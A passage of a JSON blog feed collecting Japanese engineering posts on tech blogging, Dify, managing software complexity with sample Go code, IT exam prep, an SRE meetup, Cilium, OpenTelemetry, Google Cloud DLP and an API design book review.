促します。また、個人の意見や経験に基づく主張と、客観的な事実や統計データを明確に区別してください。「私の経験では...」や「一般的に言われているのは...」といった前置きを適切に使用することで、読者は情報の性質を正確に理解できます。まとめと次のステップを示す記事の最後には、主要ポイントの簡潔なまとめを提供するだけでなく、読者が次に取るべきアクションを具体的に提案します。例えば、その技術をさらに深く学ぶためのリソース、関連する技術やツール、次に挑戦すべき課題などを提示することで、読者の継続的な学習を促進します。さいごにテックブログの執筆は、私たちエンジニアにとって、単なる記事作成以上の意味を持つ活動のはずです。日々の経験や学びを整理し、深め、そして誰かと共有する機会として捉えることができます。完璧を目指すあまり執筆を躊躇するよりも、まずは自分自身が興味を持つテーマから書き始めることが大切だと私は考えています。 このアプローチは、読む人の役に立つかもしれないという期待とともに、執筆者自身の成長にもつながります。ブログを書く過程で、自分の考えを整理し、新たな視点を得られることもあります。それぞれのエンジニアの経験や視点は異なりますから、自分の言葉で記事を綴ることで、誰かにとって新しい気づきを提供できるかもしれません。日々の仕事や学習で得た知識や経験をブログにすることで、自分自身の中で新たな発見があったり、個人的な成長を感じたりすることがあります。また、読んでくれた人からのコメントや反応が、さらなる学びのきっかけになることもあります。最後に、読んでくださっている方々に伝えたいのは、あなたの経験や知識にも必ず誰かにとっての価値があるということです。 小さなことでも、誰かにとっては新しい発見や学びのきっかけになるかもしれません。ためらわずに書いてみることをお勧めします。テックブログの執筆を通じて、私たち一人一人が少しずつ学び、成長できたらいいなと思っています。あなたの書いた記事が、誰かの助けになるかもしれません。今日から始めてみるのはいかがでしょうか。各プロセスで生成AIを利用する際の注意点とか書こうと思ったんですけどもう良い時間なのでご飯に行きます。参考文献と言うか読んだ方がいい本この本は、テックブログのネタに困ったときというかアイデアが出ない時の救世主です。私はこの本から多大な影響を受けており、このブログで紹介した5つのステップもここから着想を得て実践しています。著者の主張する「新しいアイデアは既存の要素の新しい組み合わせ」という考え方は、肩の荷が下りるので本当に大切です(いつもはアイディアって言ってるんですけど今回はこの本に敬意を込めてアイデアとしてます)。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazonエンジニアとして文章を書くには「考える力」が不可欠です。この本は、その力を養うのに最適な一冊です。新版 思考の整理学 (ちくま文庫)作者:外山滋比古筑摩書房Amazonみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/26/210112","isoDate":"2024-08-26T12:01:12.000Z","dateMiliSeconds":1724673672000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"生成AIアプリケーション開発ノーコードフレームワークDify","contentSnippet":"dify.ai最近、Difyの話題をよく聞くので、軽くご紹介したいと思います。Difyとは? 生成AIアプリ開発を劇的に簡素化するプラットフォームDifyは、生成AIアプリケーションをノーコードで開発できる、非常に革新的なプラットフォームです。これまで、生成AIアプリの開発は、高度なプログラミングスキルを必要とし、専門エンジニアでなければ実現が難しいものでした。しかし、Difyの登場により、この状況が一変。非エンジニアでも、直感的な操作で複雑なAIアプリケーションを構築できるようになりました。Difyが選ばれる理由ノーコード開発: プログラミングの知識がなくても、ブロックを組み合わせるように視覚的にアプリを構築できます。RAG(Retrieval Augmented Generation)対応: 大規模言語モデル(LLM)と外部データソースを連携させ、より高度なAI機能を実現できます。オープンソース: プラットフォーム自体がオープンソースであり、自由にカスタマイズ・拡張できます。高機能: チャットボット、AIアシスタント、要約ツールなど、さまざまなタイプの生成AIアプリを開発可能です。企業との連携: 既存の企業システムとの連携もスムーズに行え、業務効率化に貢献します。Difyの主な特徴柔軟性: AIプロセスを自由に組み合わせて、柔軟なアプリケーションを開発できます。統合性: 既存のシステムとの連携が容易で、企業内の既存のデータやシステムと統合できます。監視性: 実行時の状況を監視し、AIモデルの性能を継続的に改善できます。スケーラビリティ: 需要に応じて、簡単にシステムを拡張できます。Difyでできることチャットボットの開発: 自然な会話ができるチャットボットを簡単に作成できます。AIアシスタントの開発: 顧客対応や業務支援を行うAIアシスタントを開発できます。文書の自動生成: レポートや記事などを自動生成できます。データ分析: 大量のデータを分析し、有益な情報を抽出できます。Difyが注目される理由生成AIの民主化: 生成AIの技術を、より多くの人々に開放し、AIの活用範囲を広げます。開発コストの削減: 高度なエンジニアを雇用する必要がなく、開発コストを大幅に削減できます。開発期間の短縮: ノーコード開発により、開発期間を大幅に短縮できます。まとめDifyは、生成AIの開発を劇的に簡素化するプラットフォームです。非エンジニアでも、高度なAIアプリケーションを開発できるため、生成AIの活用範囲が大きく広がることが期待されています。もし、生成AIに興味があり、独自のアプリケーションを開発したいと考えているのであれば、Difyは非常に魅力的な選択肢と言えるでしょう。さらに詳しく知りたい方へDify公式サイト: https://dify.ai/jpDifyの始め方(非エンジニアでも生成AIアプリが作れる最強ツール): https://zenn.dev/en2enzo2/articles/824877e1099508Difyは、生成AIの分野で注目を集めているプラットフォームです。ぜひ、この機会にDifyについて詳しく調べてみてください。何か他に知りたいことがあれば、お気軽にご質問ください。","link":"https://shu-kob.hateblo.jp/entry/2024/08/25/233704","isoDate":"2024-08-25T14:37:04.000Z","dateMiliSeconds":1724596624000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"この世の中に溢れているので自分が発言する必要はないが「ソフトウェアは認知の限界まで複雑になる」を自分なりに再考する","contentSnippet":"人間が何もしないと病気になるのと同じように、ソフトウェアも何もしないと複雑になる。はじめにソフトウェア開発の世界に飛び込んでから、「ソフトウェアは認知の限界まで複雑になる」という言葉を耳にしたとき、正直なところ、「ほへー」って思いながら何も理解していませんでした。しかし、大規模なシステムに携わるようになって、その言葉の重みを身をもって感じるようになりました。内部構造や相互作用が複雑化し、全体を把握するのが難しくなっていく。それは挑戦であると同時に、私たち開発者の存在意義を問いかけるものでもあります。A Philosophy of Software Design, 2nd Edition (English Edition)作者:Ousterhout, John K. Amazonこの複雑性との闘いは、時に苦しいものです。でも、それを乗り越えたときの喜びは何物にも代えがたい。私たちの理解力の限界に挑戦し続けることで、成長の機会を得られるのかもしれません。また、絶対的な正解が存在しないことも認識することが重要です。それぞれの組織や開発チームにとっての最適解は異なるため、継続的に自分たちの状況を評価し、最適なアプローチを探り続ける必要があります。この過程では、チームメンバー間のオープンなコミュニケーションと実験的な姿勢が鍵となります。時には失敗することもありますが、そこから学びを得て前進することで、長期的には組織全体の能力向上につながるでしょう。 speakerdeck.comなお、この概念は広く知られており、多くの議論がなされています。しかし、自分なりに再考することには大きな意義があります。なぜなら、個人の経験や視点を通じて理解を深めることで、この普遍的な課題に対する新たな洞察や独自のアプローチを見出せる可能性があるからです。また、自分の言葉で表現し直すことで、チーム内での議論を促進し、共通理解を深める機会にもなります。さらに、技術の進化や開発手法の変化に伴い、この概念の意味や影響も変化しているかもしれません。そのため、現代のコンテキストにおいてこの概念を再評価することは、ソフトウェア開発の未来を考える上で重要なのです。正直なところ、このブログに書いていることは完全に自己満足かもしれません。しかし、この自己満足的な行為を通じて、私自身の理解を深め、そして少しでも他の人の考えるきっかけになれば、それはそれで価値があるのではないでしょうか。個人的には「Good Code, Bad Code ~持続可能な開発のためのソフトウェアエンジニア的思考」や「ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール」も良かったのです。資料としては「複雑さに立ち向かうためのコードリーディング入門」や「オブジェクト指向のその前に-凝集度と結合度/Coheision-Coupling」も合わせてオススメです。複雑性の源泉ソフトウェアの複雑性は様々な要因から生まれます。機能の増加:全ての機能は最初から分かってるわけでなくユーザーの要求に応えるため、次々と新機能が追加されていく。レガシーコードの蓄積:古いコードが新しいコードと共存し、相互作用する。技術的負債:短期的な解決策が長期的な複雑性を生み出す。外部依存関係:サードパーティライブラリやAPIの統合が複雑性を増す。スケーラビリティ要件:大規模なデータや高いトラフィックに対応するための設計が複雑さを増す。これらの要因が相互に作用し合い、ソフトウェアシステムは徐々に、そして時には急激に複雑化していきます。複雑性の影響過度の複雑性は、ソフトウェア開発プロセス全体に深刻な影響を及ぼします。開発速度の低下:新機能の実装や既存機能の修正に時間がかかるようになる。バグの増加:複雑なシステムほど、予期せぬ相互作用やエッジケースが発生しやすい。メンテナンス性の低下:コードベースの理解が困難になり、変更のリスクが高まる。オンボーディングの難化:新しいチームメンバーが全体を把握するまでの時間が長くなる。イノベーションの阻害:既存システムの制約が新しいアイデアの実現を妨げる。複雑性との共存完全に複雑性を排除することは不可能ですが、以下の戦略を通じて管理することは可能です。モジュール化:システムを独立した、理解しやすいコンポーネントに分割する。抽象化:詳細を隠蔽し、高レベルの概念を通じてシステムを理解・操作できるようにする。設計パターンの活用:一般的な問題に対する標準的な解決策を適用する。継続的なリファクタリング:定期的にコードを見直し、改善する。適切な文書化:システムの構造や意思決定の理由を明確に記録する。マイクロサービスアーキテクチャの採用は、大規模なモノリシックシステムの複雑性を管理するための一つのアプローチです。しかし、これは単に銀の弾丸ではなく複雑性の性質を変えるだけで、新たな形の複雑性(例えば、サービス間通信やデータ一貫性の管理)をもたらす可能性があります。そのため、アーキテクチャの選択は慎重に行い、トレードオフを十分に考慮する必要があります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazon複雑性と認知負荷ソフトウェアの複雑性は、開発者の認知負荷と密接に関連しています。人間の脳には情報処理能力の限界があり、この限界を超えると効率的な問題解決や創造的思考が困難になります。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon複雑なソフトウェアシステムは、以下の方法で開発者の認知負荷を増大させます。同時に考慮すべき要素の増加複雑な相互依存関係の理解抽象化レベルの頻繁な切り替え長期記憶と作業記憶の継続的な活用これらの要因により、開発者は「認知の限界」に達し、それ以上の複雑性を効果的に管理することが困難になります。以下は、複雑性が増大したコードの例です。// ComplexSystem は、システム全体の複雑性を体現する構造体です。// 複雑性の要因:多数の依存関係、状態管理、イベント処理、設定管理の組み合わせtype ComplexSystem struct { components map[string]Component // 動的に管理される多数のコンポーネント interactions map[string][]string // コンポーネント間の複雑な相互作用を表現 stateManager *StateManager // 全体の状態を管理する複雑なロジック eventBus *EventBus // 非同期イベント処理による複雑性 configProvider ConfigProvider // 動的な設定変更による複雑性 logger Logger // 複数の場所でのロギングによる情報の分散 cache *Cache // パフォーマンス最適化のための追加レイヤー metrics *MetricsCollector // システム監視のための追加の複雑性 errorHandler ErrorHandler // カスタムエラーハンドリングによる複雑性 scheduler *Scheduler // 非同期タスクスケジューリングによる複雑性}// ProcessEvent は、イベント処理の複雑性を示す関数です。// 複雑性の要因:多段階の処理、エラーハンドリング、状態更新、非同期処理の組み合わせfunc (cs *ComplexSystem) ProcessEvent(event Event) error { cs.metrics.IncrementEventCounter(event.Type) // メトリクス収集による複雑性 cs.logger.Log(\\"Processing event: \\" + event.Name) // キャッシュチェックによる条件分岐の増加 if cachedResult, found := cs.cache.Get(event.ID); found { cs.logger.Log(\\"Cache hit for event: \\" + event.ID) return cs.handleCachedResult(cachedResult) } // 複雑な依存関係の解決 affectedComponents := cs.resolveAffectedComponents(event) // ゴルーチンを使用した並行処理による複雑性の増加 resultChan := make(chan ComponentResult, len(affectedComponents)) for _, componentID := range affectedComponents { go cs.processComponentAsync(componentID, event, resultChan) } // 非同期処理結果の収集と統合 for i := 0; i < len(affectedComponents); i++ { result := <-resultChan if result.Error != nil { cs.errorHandler.HandleError(result.Error) return result.Error } cs.updateSystemState(result) } // 動的設定に基づく条件付き処理 config := cs.configProvider.GetConfig() if config.EnablePostProcessing { if err := cs.performPostProcessing(event); err != nil { cs.logger.Error(\\"Error in post-processing: \\" + err.Error()) return cs.errorHandler.WrapError(err, \\"PostProcessingFailed\\") } } // イベントバスを使用した非同期通知 cs.eventBus.Publish(NewStateChangedEvent(event.ID, cs.stateManager.GetCurrentState())) // 次のスケジュールされたタスクのトリガー cs.scheduler.TriggerNextTask() cs.logger.Log(\\"Event processed successfully\\") return nil}// processComponentAsync は、個別のコンポーネント処理を非同期で行う関数です。// 複雑性の要因:ゴルーチン内での処理、エラーハンドリング、状態更新の組み合わせfunc (cs *ComplexSystem) processComponentAsync(componentID string, event Event, resultChan chan<- ComponentResult) { component, exists := cs.components[componentID] if !exists { resultChan <- ComponentResult{Error: fmt.Errorf(\\"component not found: %s\\", componentID)} return } newState, err := component.HandleEvent(event) if err != nil { resultChan <- ComponentResult{Error: cs.errorHandler.WrapError(err, \\"ComponentProcessingFailed\\")} return } cs.stateManager.UpdateState(componentID, newState) resultChan <- ComponentResult{ID: componentID, State: newState}}// performPostProcessing は、イベント処理後の追加処理を行う関数です。// 複雑性の要因:条件分岐、エラーハンドリング、外部サービス呼び出しの組み合わせfunc (cs *ComplexSystem) performPostProcessing(event Event) error { // 複雑な条件分岐 switch event.Type { case \\"TypeA\\": // 外部サービス呼び出し if err := cs.externalServiceA.Process(event); err != nil { return cs.errorHandler.WrapError(err, \\"ExternalServiceAFailed\\") } case \\"TypeB\\": // データ変換と検証 transformedData, err := cs.dataTransformer.Transform(event.Data) if err != nil { return cs.errorHandler.WrapError(err, \\"DataTransformationFailed\\") } if !cs.dataValidator.Validate(transformedData) { return cs.errorHandler.NewError(\\"InvalidTransformedData\\") } // さらなる処理... default: // デフォルトの複雑な処理ロジック // ... } // メトリクス更新 cs.metrics.IncrementPostProcessingCounter(event.Type) return nil}このコードは、多層の依存関係、複雑な状態管理、非同期イベント処理、動的設定、並行処理、多重エラーハンドリング、クロスカッティングコンサーンなどを含む極度に複雑なシステムを表現しており、その全体を理解し効果的に管理するには開発者の認知能力を大きく超える負荷が必要となります。この複雑性に対処するため、システムを小さな独立したサービスに分割し、各コンポーネントの責務を明確に定義することで、全体の理解と管理を容易にすることができます。以下は、そのアプローチを示す簡略化したサンプルです。// EventProcessor は、イベント処理の主要なインターフェースを定義します。type EventProcessor interface { ProcessEvent(event Event) error}// SimpleEventProcessor は、EventProcessor の基本的な実装です。type SimpleEventProcessor struct { logger Logger repository Repository publisher EventPublisher}// NewSimpleEventProcessor は、SimpleEventProcessor の新しいインスタンスを作成します。func NewSimpleEventProcessor(logger Logger, repository Repository, publisher EventPublisher) *SimpleEventProcessor { return &SimpleEventProcessor{ logger: logger, repository: repository, publisher: publisher, }}// ProcessEvent は、単一のイベントを処理します。func (p *SimpleEventProcessor) ProcessEvent(event Event) error { p.logger.Info(\\"Processing event\\", \\"id\\", event.ID, \\"type\\", event.Type) if err := event.Validate(); err != nil { return fmt.Errorf(\\"invalid event: %w\\", err) } result, err := p.repository.Store(event) if err != nil { return fmt.Errorf(\\"failed to store event: %w\\", err) } if err := p.publisher.Publish(result); err != nil { p.logger.Error(\\"Failed to publish result\\", \\"error\\", err) } p.logger.Info(\\"Event processed successfully\\", \\"id\\", event.ID) return nil}このアプローチにより、システムの複雑性が大幅に低減され、各コンポーネントの役割が明確になり、開発者の認知負荷が軽減されます。結果として、(組織や人によっては)コードの理解、保守、拡張が容易になり、長期的なシステムの健全性が向上します。複雑性のパラドックス興味深いことに、ソフトウェアの複雑性には一種のパラドックスのような構造が存在します。それはシステムを単純化しようとする試みが、かえって複雑性を増大させることがあるのです。例えば:抽象化の過剰:過度に抽象化されたシステムは、具体的な実装の理解を困難にする。過度な一般化:あらゆるケースに対応しようとすることで、システムが不必要に複雑になる。新技術の導入:複雑性を減らすために導入された新技術が、学習コストや統合の複雑さを増す。以下は、過度な抽象化の例です:type AbstractFactory interface { CreateProduct() Product ConfigureProduct(Product) error ValidateProduct(Product) bool}type ConcreteFactory struct { config Config validator Validator decorator Decorator}func (f *ConcreteFactory) CreateProduct() Product { // Complex creation logic return nil}func (f *ConcreteFactory) ConfigureProduct(p Product) error { // Complex configuration logic return nil}func (f *ConcreteFactory) ValidateProduct(p Product) bool { // Complex validation logic return true}// Usagefunc UseFactory(factory AbstractFactory) { product := factory.CreateProduct() err := factory.ConfigureProduct(product) if err != nil { // Error handling } if !factory.ValidateProduct(product) { // Validation failed } // Use the product}このコードは柔軟性を目指していますが、実際の使用時には理解と実装が困難になる可能性があります。このような複雑性のパラドックスに対処するには、適度な抽象化と具体的な実装のバランスを取ることが重要です。以下は、シンプルさと柔軟性のバランスを取った改善例です。type Product struct { // Product fields}type ProductFactory struct { config Config}func NewProductFactory(config Config) *ProductFactory { return &ProductFactory{config: config}}func (f *ProductFactory) CreateProduct() (*Product, error) { product := &Product{} if err := f.configureProduct(product); err != nil { return nil, fmt.Errorf(\\"failed to configure product: %w\\", err) } if !f.validateProduct(product) { return nil, errors.New(\\"product validation failed\\") } return product, nil}func (f *ProductFactory) configureProduct(p *Product) error { // Configuration logic return nil}func (f *ProductFactory) validateProduct(p *Product) bool { // Validation logic return true}// Usagefunc UseFactory(factory *ProductFactory) { product, err := factory.CreateProduct() if err != nil { // Error handling return } // Use the product}この改善したコードは、単一責任の原則に基づいた ProductFactory の特化、一箇所でのエラーハンドリング、具体的な型の使用による理解のしやすさ、そして内部メソッドの非公開化によるカプセル化を特徴とし、これらの要素が複合的に作用することで、コードの複雑性を軽減しつつ必要な機能性を維持しています。このアプローチにより、コードの複雑性を減らしつつ、必要な柔軟性を維持することができます。適度な抽象化と具体的な実装のバランスを取ることで、(組織や人によっては)開発者の理解を促進し、長期的なメンテナンス性を向上させることができます。おわりにソフトウェアの複雑性は、諸刃の剣のようなものだと気づきました。それは私たちの能力を押し上げる原動力になる一方で、管理を怠れば混沌を招く危険性も秘めています。完全に複雑性を排除することは不可能かもしれません。しかし、それと向き合い、うまく付き合っていく術を見つけることは可能だと信じています。病気になってから健康に気を使い始めるのが辛いように、限界まで複雑化したソフトウェアをリファクタリングしていく作業も非常に困難です。そのため、早い段階から複雑性を管理する習慣を身につけることが重要です。ただし、この過程で過度に最適化やリファクタリングに固執すると、本来の目的を見失い、それ自体が目的化してしまう危険性があります。これは趣味が手段から目的にすり替わる現象に似ており、行き過ぎた最適化はまた別の問題を引き起こす可能性があります。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazonしたがって、ビジネス側の要求や理想を実現するために、様々な手法やアプローチを積極的に検証していく姿勢も必要です。技術的な観点だけでなく、ビジネスゴールを常に意識し、両者のバランスを取りながら最適な解決策を模索することが、持続可能なソフトウェア開発につながります。過度な最適化や複雑性の管理に陥ることなく、ビジネス価値の創出と技術的な健全性のバランスを保つことが重要です。日々の開発の中で、継続的な管理プロセスの重要性を実感しています。適切なトレードオフを見極め、チーム内での知識共有や学習を大切にすること。これらは複雑性と付き合っていく上で欠かせない要素です。さらに、ビジネス部門との緊密なコミュニケーションを通じて、技術的な制約や可能性について相互理解を深めることも重要です。ツールやプラクティスは確かに助けになりますが、それらだけでは根本的な解決にはなりません。結局のところ、私たち人間の認知能力と技術の限界との絶え間ない闘いが続くのです。この挑戦に立ち向かい、バランスを取りながら進化し続けること。そして、ビジネスとテクノロジーの両面から問題にアプローチする柔軟性を持つことが、ソフトウェア開発者としての真の成長につながるのではないでしょうか。知らんけど…ソフトウェアファースト第2版 あらゆるビジネスを一変させる最強戦略作者:及川 卓也日経BPAmazon近年の大規模言語モデル(LLM)の急速な発展により、ソフトウェアの複雑性管理に新たな要素がもたらされつつあり、LLMが人間の認知能力を超える可能性が現実味を帯びてきている中、これはソフトウェア開発者にとってチャンスと挑戦の両面を意味します。例えばLLMが複雑なコードベースを瞬時に解析して最適化の提案を行ったり、人間には把握しきれない複雑な相互作用を予測して潜在的な問題を事前に指摘したりする可能性があります。github.com一方で、LLMの判断をどのように検証し、人間の意図や倫理的考慮をどのように組み込んでいくか、またLLMと人間の協働をどのように設計し、それぞれの強みを最大限に活かすかといった新たな課題に対する明確な解答や確立された手法はまだ見つかっていません。このような状況下で、エンジニアとして、LLMの進化とその影響について継続的かつ慎重に情報収集を行い、批判的に分析する姿勢が不可欠です。単に新技術を受け入れるのではなく、その長所と短所を十分に理解し、既存のソフトウェア開発プラクティスとの整合性を慎重に評価する必要があります。 speakerdeck.com今後はLLMの能力を活用しつつ、人間ならではの創造性や突っ込めないコンテキスト、直感、倫理的判断を組み合わせた新しいソフトウェア開発のアプローチを模索し、技術の進歩に適応しながらも人間中心の開発哲学を失わないバランスを取ることが求められるのではないでしょうか?。運用者目線でどうなのか?みたいなことを喋る機会があるので喋っていきたい。event2024.cloudopsdays.comみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/25/142213","isoDate":"2024-08-25T05:22:13.000Z","dateMiliSeconds":1724563333000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"高度情報の午前Ⅱ試験を解くならこのサイト","contentSnippet":"もうすぐ9月。秋の情報処理技術者試験も近づいてますね。私はプロジェクトマネージャ試験を受けるので頑張らねば。応用情報午前試験の過去問アプリはたくさんあるのですが、高度情報はないですよね。IPA公式の過去問をPDFで開かずとも、スマホで気軽に過去問演習したいところ。そこで、高度情報の午前Ⅱ試験を解くならこのサイトをご紹介したいと思います。情報処理技術者試験の勉強(過去問題)をやり直し過去問を1問1答形式で時進められます。全ての高度情報に対応しています。こちらを活用して、午前Ⅱは余裕で通過できるようにしておきましょう1","link":"https://shu-kob.hateblo.jp/entry/2024/08/24/225803","isoDate":"2024-08-24T13:58:03.000Z","dateMiliSeconds":1724507883000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"3-shake SRE Tech Talk #10無事終了。英語は大事w","contentSnippet":"3-shake.connpass.comshu-kob.hateblo.jp初のオンサイト開催となる3-shake SRE Tech Talk #10無事終了しました。詳しいことは後日書くとして、私は誘導係をしました。会場となったGoogleさんの渋谷オフィスは渋谷ストリームという新しい建物にあるのですが、エントランスの長いエスカレータの下で誘導していたら外国人2組に道を聞かれました(笑)スリーシェイクTシャツ着て立っていたから、建物の係りの人と思われた?1人目の方には、スマホを見せられ、渋谷ストリーム内の串カツ屋の場所を聞かれました。飲食店マップがあったので、3Fか4Fにあるみたい、と拙い英語で説明w2組目の二人には、スマホを見せられ、半蔵門線渋谷駅の場所を聞かれました。エスカレータを指差し、「(エスカレータを)Down, Purple is Line Color.(半蔵門線のラインカラーは紫)」とまた拙い英語で説明したら、「ありがと!(Arigato)」とお礼を言われました。面白い経験をするとともに、Googleの音声翻訳など便利なものを使えばよかったと思いました。今後はもうちょっとまともな英語を答えられるよう頑張るぞ!","link":"https://shu-kob.hateblo.jp/entry/2024/08/23/231736","isoDate":"2024-08-23T14:17:36.000Z","dateMiliSeconds":1724422656000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cilium L2 Announcement を使ってみる","contentSnippet":"はじめに Sreake事業部でインターンをしている小林です。 本記事では、Cilium v1.14で追加されたCilium L2 Announcementを検証しました。 Kubernetes External Load […]The post Cilium L2 Announcement を使ってみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-cilium-l2-announcement/","isoDate":"2024-08-23T01:10:11.000Z","dateMiliSeconds":1724375411000,"authorName":"Sreake","authorId":"Sreake"},{"title":"2024年8月23日(金)は渋谷とオンラインにて3-shake SRE Tech Talk #10","contentSnippet":"shu-kob.hateblo.jp以前も書きましたが、2024年8月23日(金)は渋谷とオンラインにて3-shake SRE Tech Talk #10 です。初のオンサイト開催!(オンラインも併用)18:30からGoogle Cloudさんの渋谷オフィスで行います。無料の懇親会もあります。オンサイトは定員40人のところ、前日の8月22日21:36現在、37人と、3人の空きがあります。タイムテーブルはこちら株式会社Topotal 菱田 健太氏「SRE NEXT 2024 で形にしたバトンを渡せる仕組み」株式会社スリーシェイク 阿部貴晶「LLMのO11yに触れる」グーグルクラウドジャパン合同会社 中谷 祐輔氏「スポンサーセッション」弊社スリーシェイクからは「LLMのO11yに触れる」というテーマで、生成AIのオブザーバビリティの話があります。私も会場誘導係として、参加予定です。生成AIに興味ある方もぜひご参加ください。","link":"https://shu-kob.hateblo.jp/entry/2024/08/22/214001","isoDate":"2024-08-22T12:40:01.000Z","dateMiliSeconds":1724330401000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"OpenTelemetry - Community Demo を Datadog で試す","contentSnippet":"はじめにOpenTelemetry には Community Demo が用意されている。demo ではKubernetesと Dockerでのお試し方法が記載されている。今回は、minikube を使用し、Kubernetes 上で試したいと思ったのだが、demoでは OpenTelemetry の Exporter のバックエンドとして、Jaeger, Prometheus(Grafana) が使用されているが、その他のバックエンドは自分で構築してね〜となっているhttps://opentelemetry.io/docs/demo/kubernetes-deploymen...","link":"https://zenn.dev/yokoo_an209/articles/otel-datadog-demo","isoDate":"2024-08-22T04:46:25.000Z","dateMiliSeconds":1724301985000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Google Cloud DLP(Data Loss Prevention)を使ってデータのマスキングしてみた","contentSnippet":"DLP(Data Loss Prevention)とは?DLP(Data Loss Prevention)は、直訳で「データ損失防止」を意味し、企業や組織が保有する機密データや個人情報などの漏えいを防止するための仕組み、またはそのプロセス全体を指します。DLPの目的は、以下の通りです。機密データの特定: 個人情報、クレジットカード番号、社会保障番号など、企業にとって重要なデータを特定します。データの分類: 特定されたデータを、機密レベルや種類などに応じて分類します。データの保護: 分類されたデータに対して、アクセス制限、暗号化、匿名化などの適切な保護策を施します。データ漏えいの検出: データ漏えいが発生した場合、早期に検出し、その原因を特定します。Google CloudでDLPを使用してみたGoogle Cloud Storage上にある個人情報を含むテスト用テキストデータを用意し、下記記事の通り、コンソール上だけで個人情報のマスキングができました!便利!ops.jig-saw.comGeminiだけだとプロンプトを工夫してもマスキングはしてくれなかったので、DLPと併用しましょう。なお、要約文中に個人情報を入れるな、というプロンプトは言うことを聞いてくれました。","link":"https://shu-kob.hateblo.jp/entry/2024/08/21/230415","isoDate":"2024-08-21T14:04:15.000Z","dateMiliSeconds":1724249055000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"生成AIの出力形式を指定する","contentSnippet":"生成AIでの出力をプログラムで次の処理に使いたいときありますよね。そういうときは、正規化が必要だったりします。例えば、プロンプトでJSON形式で出力するように指定して、見本の形式も添えておけば、JSON形式で出力され、次の処理でとても使いやすくなります。","link":"https://shu-kob.hateblo.jp/entry/2024/08/20/235853","isoDate":"2024-08-20T14:58:53.000Z","dateMiliSeconds":1724165933000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"すぐに役に立つものはすぐに陳腐化してしまうから方法ではなく設計の本を読む - API Design Patterns の読書感想文","contentSnippet":"あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえはじめに短期的に効果的な手法や知識は、ソフトウェア開発の分野において、急速に価値を失う傾向があります。この現象は、私たちが何を重点的に学ぶべきかを示唆しています。最も重要なのは、第一に基本的な原理・原則、そして第二に方法論です。特定の状況にのみ適用可能な知識や即座に結果を出すテクニックは、長期的には有用性を失う可能性が高いです。これは、技術や手法が時間とともに進化し、変化していくためです。learning.oreilly.com「API Design Patterns」は、このような考え方を体現した書籍です。しかも480 ページもあります。本書は単なる手法の列挙ではなく、Web APIデザインの根幹をなす原則と哲学を探求しています。著者のJJ Geewax氏は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義し、その本質的な役割を明確に示しています。API Design Patterns (English Edition)作者:Geewax, JJManningAmazonSREの分野においても、netmarkjpさんの「現場がさき、 プラクティスがあと、 原則はだいじに」という卓越した発表資料があります。この資料はこのように原則を大事にしながら現場をやっていくにはどうすればいいかの指針を示してくれています。この書籍との邂逅を通じて、私の視座は大きく拡がりました。日々直面するAPI設計、実装、維持の課題に対し、より深遠な洞察と長期的な展望を得られたと実感しています。特に印象的だったのは、著者によるAPIの定義です。「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」というこの洞察は、APIの本質的役割を鮮明に照らし出し、私のAPI設計への理解を劇的に深化させました。「はじめに」にあるべき全体像「API Design Patterns」は、APIの基本概念と重要性から始まり、設計原則、基本的な操作と機能、リソース間の関係性の表現方法、複数リソースの一括操作、そして安全性とセキュリティに至るまで、APIデザインの全体像を包括的に扱っており、各パートでは、APIの定義と特性、設計原則(命名規則、リソースの階層など)、基本的な操作(標準メソッド、カスタムメソッドなど)、リソース間の関係性(シングルトンサブリソース、ポリモーフィズムなど)、集合的操作(バッチ処理、ページネーションなど)、そして安全性とセキュリティ(バージョニング、認証など)について詳細に解説し、これらの要素を適切に組み合わせることで、使いやすく、柔軟で、安全なAPIを設計するための総合的な指針を提供しています。よりよいAPIを設計するためのアイデア本書を読み進める中で、「アイデアのつくり方」で説明されているアイデア創出の根幹をなす2つの原理が、私たちのAPI設計にも適用できるのではないかと考えました。これらの原理とは以下の通りです。アイデアとは既存の要素の新たな組み合わせである既存の要素を新しい組み合わせへと導く才能は、事物間の関連性を見出す能力に大きく依存するアイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon今後のAPI設計において、これらの原理を意識的に取り入れ、実践していくことで、より革新的で使いやすいAPIを生み出せる可能性があります。日本語版日本語版の出版は、多くの日本人エンジニアにとって、感謝でしかありません。英語特有のニュアンスの把握に苦心する部分も、母国語で読み解くことでより深い理解が得られ、本書の真髄をより効果的に吸収できたと実感しています。APIデザイン・パターン (Compass Booksシリーズ)作者:JJ 